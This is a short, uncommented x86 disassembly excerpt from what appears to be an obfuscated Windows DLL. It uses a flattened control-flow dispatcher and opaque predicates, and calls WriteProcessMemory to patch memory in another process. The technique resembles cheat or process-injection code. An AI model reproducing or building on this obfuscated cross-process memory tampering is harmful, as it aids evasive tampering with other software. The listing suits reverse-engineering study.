cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov eax, dword [0x10040928]
mov ecx, dword [0x10040924]
mov edx, eax
add edx, 0x8d30ffd8
sub edx, 1
sub edx, 0x8d30ffd8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5abf4879
mov ecx, 0xf10ce89d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov dword [ebp - 0x128], 0x61f7d65b
jmp 0x1000fbb4
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
sub ecx, 0x8bda65ea
add ecx, 8
add ecx, 0x8bda65ea
mov eax, dword [ebp - 0xf4]
mov edx, dword [eax]
mov eax, dword [ebp - 0xe0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x128], 0x50ced8a8
jmp 0x1000fbb4
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000ff80
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x128], 0x1fae047
jmp 0x1000fbb4
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001d198]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xf0105ba4
jmp 0x1000fbb4
jmp 0x10007390